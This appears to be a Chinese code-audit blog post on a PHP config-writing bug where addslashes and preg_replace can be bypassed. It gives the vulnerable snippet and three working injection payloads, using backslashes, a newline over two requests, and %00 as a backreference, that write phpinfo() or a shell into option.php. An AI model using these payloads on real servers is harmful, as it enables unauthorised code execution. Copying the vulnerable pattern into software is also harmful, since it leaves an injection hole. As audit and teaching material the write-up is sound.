一个PHP正则相关的“经典漏洞”
[Penetration Testing]
小密圈《代码审计》中看到P神发的“经典漏洞”,关于写配置文件这个功能点。
问题代码
<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents('xxxxx/option.php',$file);
?>
输入经过addslashes()
处理过之后经匹配替换指定文件内容。
解法1 利用反斜线
输入\';phpinfo();//
\'
经过addslashes()
之后变为\\\'
,随后preg_replace会将两个连续的\合并为一个,也就是将\\\'
转为\\'
,这样我们就成功引入了一个单引号,闭合上文注释下文,中间加入要执行的代码即可。
看来是preg_replace函数特性。经测试,该函数会针对反斜线进行转义,即成对出现的两个反斜线合并为一个,以前不知道这个点(跟进)。
本地测试环境: PHP 5.4.45 + Windows + Apache
解法2 利用正则
过程分为两个请求:
第一次传入
aaa';phpinfo();%0a//
此时文件内容
$option='aaa\';phpinfo();
//';
第二次传入随意字串,如bbb
正则代码.*
会将匹配到的aaa\
替换为bbb
此时文件内容(成功写入恶意代码)
$option='bbb';phpinfo();
//';
解法3 利用%00
仍然分为两步。
第一次传入;phpinfo();
此时文件内容为:
$option=';phpinfo();';
第二次传入%00
%00
被addslashes()
转为\0
,而\0
在preg_replace
函数中会被替换为“匹配到的全部内容”,此时preg_replace
要执行的代码如下
preg_replace('|\$option=\'.*\';|',"\$option='\0';",$file);
也就是
preg_replace('|\$option=\'.*\';|',"\$option='$option=';phpinfo();';';",$file);
成功引入单引号闭合,最终写入shell
$option='\$option=';phpinfo();';';
Ref
小密圈:《代码审计》
@Dlive
@L3m0n
@该隐
@phith0n